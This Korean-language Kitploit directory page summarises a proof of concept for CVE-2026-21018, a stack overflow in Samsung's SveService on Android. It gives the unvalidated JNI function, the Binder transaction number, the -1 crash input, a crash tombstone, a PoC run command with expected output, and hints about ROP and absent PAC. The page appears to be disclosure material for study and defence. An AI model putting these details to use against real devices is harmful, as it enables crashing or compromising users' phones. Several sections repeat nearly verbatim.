Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-21018 — CVE-2026-21018을 위한 최소 PoC로, 작동 방식을 보여줍니다. | Kitploit
도구/GitHubGitHub/filipemendonca1978/cve-2026-21018
Android SecurityVulnerability AnalysisExploitationPenetration TestingMobile SecurityLearning & EducationBinary Exploitation
GitHubfilipemendonca1978/cve-2026-21018

CVE-2026-21018

CVE-2026-21018을 위한 최소 PoC로, 작동 방식을 보여줍니다.

저장소 보기
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

SveService 버퍼 오버플로우

포르투갈어 영어


Samsung SMR 2026년 5월

SVE-2026-0478(CVE-2026-21018)

영향받는 버전: Android 14, 15, 16

공개 상태: 비공개 제보

SMR 2026년 5월 릴리스 1 이전의 SveService에서 발생하는 범위를 벗어난 쓰기(Out-of-bounds write)로 인해 로컬 권한을 가진 공격자가 임의 코드를 실행할 수 있습니다.

이 패치는 적절한 입력 검증을 추가합니다.


경고: 이 자료는 교육 목적의 PoC(Proof-of-Concept)일 뿐입니다. 공부 외의 용도로 무엇을 하든 책임지지 않습니다. 경고했습니다.

Galaxy A17 LTE(SM-A175F)에서 테스트되었습니다.


영어

요약

Android 16을 실행하는 삼성 기기의 시스템 서비스 SveService(com.sec.sve)에서 발생하는 버퍼 오버플로우 취약점입니다. 이 서비스는 system(UID 1000)으로 실행되며, Binder를 통해 특별한 권한 없이 접근할 수 있습니다.

구성 요소

구성 요소역할버전
sveservice.apkAndroid 서비스API 36
libsvejni.so네이티브 ARM64 라이브러리Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9

취약점

sveJNISVE_SetCodecInfo(libsvejni.so:0x21710) 함수에서 i18, i19, i20 매개변수(AIDL에서 i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38로 수신됨)가 크기 검증 없이 memset, sub sp, sp, xN(alloca), memcpy에 직접 전달됩니다.

유사한 함수들(GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams)은 cmp w20, #0x1e; b.gt로 검증합니다(30바이트 초과 거부). SetCodecInfo는 전혀 검증하지 않습니다.

호출 흐름

root@kitploit:~
App/Script
  → ServiceManager.getService("SveService")
  → transact(38, parcel, ...)
  → ISecVideoEngineService$Stub.onTransact()
  → SecVideoEngineImpl.sveSetCodecInfo()
  → SveJniProxy.sveJNISVE_SetCodecInfo()
  → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
       ├── memset(dst, 0, i18)
       ├── sub sp, sp, (i19+15)&~15
       ├── memset(dst, 0, i19)
       ├── sub sp, sp, (i20+15)&~15
       ├── memset(dst, 0, i20)
       ├── memcpy(dst, src, i18)
       ├── memcpy(dst, src, i19)
       └── memcpy(dst, src, i20)

-1(0xFFFFFFFF) 값에서의 결과

크래시 증거(Tombstone 07)

root@kitploit:~
Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)

#00  __memset_aarch64+160       libc.so
#01  sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)

x2  00000000ffffffff   ← memset count = 4GB
x24 00000000ffffffff   ← i18 = -1
sp  000000707f5f7610   ← SP in invalid region
x29 000000717f5f7710   ← original frame pointer

PoC

root@kitploit:~
cd poc
./build_and_run.sh

예상 출력:

root@kitploit:~
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed

참고 사항

  • 루트 권한 불필요: app_process를 통한 ServiceManager.getService()는 shell UID로 동작합니다.
  • 권한 우회: signatureOrSystem 권한은 적용되지 않습니다. 이 서비스는 ServiceManager.addService()를 통해 직접 등록되어 Android의 권한 메커니즘을 우회합니다.
  • 크래시 불가피: 0xFFFFFFFF를 사용한 memset은 항상 크래시를 일으킵니다. RCE에는 주소 누수 + ROP가 필요합니다(SM-A175F에는 PAC 없음).

포르투갈어

요약

Android 16을 실행하는 삼성 기기의 시스템 서비스 SveService(com.sec.sve)에서 발생하는 버퍼 오버플로우 취약점입니다. 이 서비스는 system(UID 1000)으로 실행되며, Binder를 통해 특별한 권한 없이 접근할 수 있습니다.

구성 요소

구성 요소역할버전
sveservice.apkAndroid 서비스API 36
libsvejni.so네이티브 ARM64 라이브러리Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9

취약점

sveJNISVE_SetCodecInfo(libsvejni.so:0x21710) 함수에서 i18, i19, i20 매개변수(AIDL에서 i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38로 수신됨)가 크기 검증 없이 memset, sub sp, sp, xN(alloca), memcpy의 인자로 직접 사용됩니다.

유사한 함수들(GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams)은 cmp w20, #0x1e; b.gt로 검증합니다(30바이트 초과 거부). SetCodecInfo는 아무것도 검증하지 않습니다.

호출 흐름

root@kitploit:~
App/Script
  → ServiceManager.getService("SveService")
  → transact(38, parcel, ...)
  → ISecVideoEngineService$Stub.onTransact()
  → SecVideoEngineImpl.sveSetCodecInfo()
  → SveJniProxy.sveJNISVE_SetCodecInfo()
  → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
       ├── memset(dst, 0, i18)
       ├── sub sp, sp, (i19+15)&~15
       ├── memset(dst, 0, i19)
       ├── sub sp, sp, (i20+15)&~15
       ├── memset(dst, 0, i20)
       ├── memcpy(dst, src, i18)
       ├── memcpy(dst, src, i19)
       └── memcpy(dst, src, i20)

-1(0xFFFFFFFF) 값에서의 결과

PoC

root@kitploit:~
cd poc
./build_and_run.sh

예상 출력:

root@kitploit:~
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed

참고 사항

  • 루트 권한 불필요: app_process를 통한 ServiceManager.getService()는 shell UID로 동작합니다.
  • 권한: signatureOrSystem 권한은 적용되지 않습니다. 이 서비스는 ServiceManager.addService()를 통해 직접 등록되어 권한 검사를 우회합니다.
  • 크래시 불가피: 0xFFFFFFFF를 사용한 memset은 항상 크래시를 일으킵니다. RCE에는 주소 누수 + ROP가 필요합니다(SM-A175F에는 PAC 없음).
도구 다운로드
연산값결과
(i18 + 15) & ~1500바이트 할당
memset(buf, 0, i18)0x00000000FFFFFFFF4GB를 0으로 만들려는 시도 → SIGSEGV
sxtw(i18)(memcpy용)0xFFFFFFFFFFFFFFFF-1의 부호 확장 → 약 18엑사바이트
연산값결과
(i18 + 15) & ~1500바이트 할당
memset(buf, 0, i18)0x00000000FFFFFFFF4GB를 0으로 만들려는 시도 → SIGSEGV
sxtw(i18)(memcpy용)0xFFFFFFFFFFFFFFFF-1의 부호 확장 → 약 18엑사바이트